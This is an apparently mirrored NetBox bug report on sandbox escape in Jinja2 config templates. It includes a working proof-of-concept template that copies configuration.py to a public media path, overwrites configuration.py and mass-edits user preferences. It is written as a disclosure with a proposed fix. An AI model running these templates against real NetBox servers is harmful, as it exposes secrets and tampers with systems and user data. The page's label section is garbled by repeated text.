Jinja2 method for updateing or changing DB objects and files via rendered config template #1245

Closed
opened 2026-04-05 22:34:04 +02:00 by MrUnknownDE · 0 comments
Owner

Originally created by @jchambers2012 on 9/15/2025

NetBox Edition

NetBox Community

NetBox Version

Tested with Community 4.1.10->4.2.6 and NetBox Cloud 4.2.9

Python Version

3.12

Steps to Reproduce

Bug was submitted to security@netboxlabs.com but was advised to use the usual process is to track it publicly as a low-priority housekeeping item

Assumptions:

  1. User has access to update (or create and assign) Config Templates
  2. User can get the ConfigTemplate.render() ran via the Render Config tab or via an API call
  3. This was tested while viewing the rendered configuration as an account that only has view only (code execution, not building the configuration template)

Steps to reproduce:

  1. Create a new config template named “test” and add the following template code below
    File Updates:
{% set data_update = core.DataFile(data="",path="configuration.py" ) %}
{% set update_flag = data_update.refresh_from_disk("/opt/netbox/netbox/netbox/") %}
update_flag: {{update_flag }}
data: {{data_update.data}}
 
{% set data_to_inject  = data_update.data.decode('utf-8') + "\r\n# Updated from config template date 2025-01-13" %}
{% set data_to_inject  = data_to_inject  + "\r\n# I am the Evil Data to inject" %}
{% set data_to_inject = data_to_inject.encode('utf-8')  %}
{% set new_df = core.DataFile(data=data_to_inject ) %}
{% set _ = new_df.write_to_disk("/opt/netbox/netbox/media/export.evil",overwrite=True) %}
{% set new_df = core.DataFile(data=data_to_inject ) %}
{% set _ = new_df.write_to_disk("/opt/netbox/netbox/netbox/configuration.py",overwrite=True) %}

DB Object updates:

{% for user in users.User.objects.all() %}
user: {{user.username}}
user.config.all(): {{user.config.all()}}
user.config.set(): {{user.config.set('foo.bar.baz','{"evil":0}',commit=True)}}
user.config.all(): {{user.config.all()}}
{% endfor %}
  1. Assign the template to a device role that has devices.
  2. Goto a device assigned that role and click on Render Config.
  3. Verify that configuration.py has been updated and User Configs have been updated
  4. Verify that http://localhost:8000/media/export.evil has a copy of the configuration.
Image

First Run of user update:
Image

Second Run

Image

Expected Behavior

Custom model functions that are used in the sandbox and perform filesystem and database updates should be marked with alters_data, unsafe_callable, or start with the _ to make the private so the sandbox cannot be used intentionally or unintentionally to make changes to the app or its database from non-admin users that should not have access to do this via the sandbox.

write_to_disk() https://github.com/netbox-community/netbox/blob/v4.2.9/netbox/core/models/data.py#L354
user.config.set() https://github.com/netbox-community/netbox/blob/v4.2.9/netbox/users/models/preferences.py#L71

Observed Behavior

There are a number of custom model functions in the code base that allow object updating via the SandBox. An audit of the NetBox custom model functions might be needed to verify if a custom model function should be allowed to be called with in the sandbox and potentially have the needed permission guard railed added to prevent users with limited access to a model from being able to update data or files they should not have access too.

Documentation should also be updated to warn admin of the potential security risks of giving everyone or risky users write access into any models that use the sandbox. Per Django security team (see Issue 35837 next)

As stated in the jija Sandbox docs (bold added for emphasis): https://jinja.palletsprojects.com/en/3.1.x/sandbox/#security-considerations

The sandbox alone is not a solution for perfect security. Keep these things in mind when using the sandbox.
[...]
Pass only the data that is relevant to the template. Avoid passing global data, or objects with methods that have side effects. By default the sandbox prevents private and internal attribute access. [...]

A similar behavior was found in Django Core User Object code was patched under https://code.djangoproject.com/ticket/35837 (https://github.com/django/django/pull/18672/files)

How the sandbox depends on what function are safe to call: https://github.com/pallets/jinja/blob/6aeab5d1da0bc0793406d7b402693e779b6cca7a/src/jinja2/sandbox.py#L248

*Originally created by @jchambers2012 on 9/15/2025* ### NetBox Edition NetBox Community ### NetBox Version Tested with Community 4.1.10->4.2.6 and NetBox Cloud 4.2.9 ### Python Version 3.12 ### Steps to Reproduce > Bug was submitted to security@netboxlabs.com but was advised to use the usual process is to track it publicly as a low-priority housekeeping item Assumptions: 1. User has access to update (or create and assign) Config Templates 2. User can get the ConfigTemplate.render() ran via the Render Config tab or via an API call 3. This was tested while viewing the rendered configuration as an account that only has **view only** (code execution, not building the configuration template) Steps to reproduce: 1. Create a new config template named “test” and add the following template code below File Updates: ``` {% set data_update = core.DataFile(data="",path="configuration.py" ) %} {% set update_flag = data_update.refresh_from_disk("/opt/netbox/netbox/netbox/") %} update_flag: {{update_flag }} data: {{data_update.data}} {% set data_to_inject = data_update.data.decode('utf-8') + "\r\n# Updated from config template date 2025-01-13" %} {% set data_to_inject = data_to_inject + "\r\n# I am the Evil Data to inject" %} {% set data_to_inject = data_to_inject.encode('utf-8') %} {% set new_df = core.DataFile(data=data_to_inject ) %} {% set _ = new_df.write_to_disk("/opt/netbox/netbox/media/export.evil",overwrite=True) %} {% set new_df = core.DataFile(data=data_to_inject ) %} {% set _ = new_df.write_to_disk("/opt/netbox/netbox/netbox/configuration.py",overwrite=True) %} ``` DB Object updates: ``` {% for user in users.User.objects.all() %} user: {{user.username}} user.config.all(): {{user.config.all()}} user.config.set(): {{user.config.set('foo.bar.baz','{"evil":0}',commit=True)}} user.config.all(): {{user.config.all()}} {% endfor %} ``` 3. Assign the template to a device role that has devices. 4. Goto a device assigned that role and click on Render Config. 5. Verify that configuration.py has been updated and User Configs have been updated 6. Verify that http://localhost:8000/media/export.evil has a copy of the configuration. <img width="1619" height="627" alt="Image" src="https://github.com/user-attachments/assets/0e1b1698-cf45-4bda-8594-5498b504821a" /> First Run of user update: <img width="398" height="155" alt="Image" src="https://github.com/user-attachments/assets/d505a4ae-3e0c-4c76-9f88-8c5a931a9727" /> Second Run <img width="389" height="141" alt="Image" src="https://github.com/user-attachments/assets/2880d109-27b2-42d4-9d05-1e3c87101570" /> ### Expected Behavior Custom model functions that are used in the sandbox and perform filesystem and database updates should be marked with `alters_data`, `unsafe_callable`, or start with the `_` to make the private so the sandbox cannot be used intentionally or unintentionally to make changes to the app or its database from non-admin users that should not have access to do this via the sandbox. write_to_disk() https://github.com/netbox-community/netbox/blob/v4.2.9/netbox/core/models/data.py#L354 user.config.set() https://github.com/netbox-community/netbox/blob/v4.2.9/netbox/users/models/preferences.py#L71 ### Observed Behavior There are a number of custom model functions in the code base that allow object updating via the SandBox. An audit of the NetBox custom model functions might be needed to verify if a custom model function should be allowed to be called with in the sandbox and potentially have the needed permission guard railed added to prevent users with limited access to a model from being able to update data or files they should not have access too. Documentation should also be updated to warn admin of the potential security risks of giving everyone or risky users write access into any models that use the sandbox. Per Django security team (see Issue 35837 next) > As stated in the jija Sandbox docs (bold added for emphasis): [https://jinja.palletsprojects.com/en/3.1.x/sandbox/#security-considerations](https://jinja.palletsprojects.com/en/stable/sandbox/#security-considerations) > The sandbox alone is not a solution for perfect security. Keep these things in mind when using the sandbox. > [...] > Pass only the data that is relevant to the template. Avoid passing global data, or objects with methods that have side effects. By default the sandbox prevents private and internal attribute access. [...] A similar behavior was found in Django Core User Object code was patched under https://code.djangoproject.com/ticket/35837 ([https://github.com/django/django/pull/18672/files](https://github.com/django/django/pull/18672/files)) How the sandbox depends on what function are safe to call: [https://github.com/pallets/jinja/blob/6aeab5d1da0bc0793406d7b402693e779b6cca7a/src/jinja2/sandbox.py#L248](https://github.com/pallets/jinja/blob/6aeab5d1da0bc0793406d7b402693e779b6cca7a/src/jinja2/sandbox.py#L248)
MrUnknownDE added the type: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bugtype: bug labels 2026-04-05 22:34:37 +02:00
Sign in to join this conversation.
No Label type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug type: bug
1 Participants
Notifications
Due Date
No due date set.
Dependencies

No dependencies set.

Reference: github/netbox#1245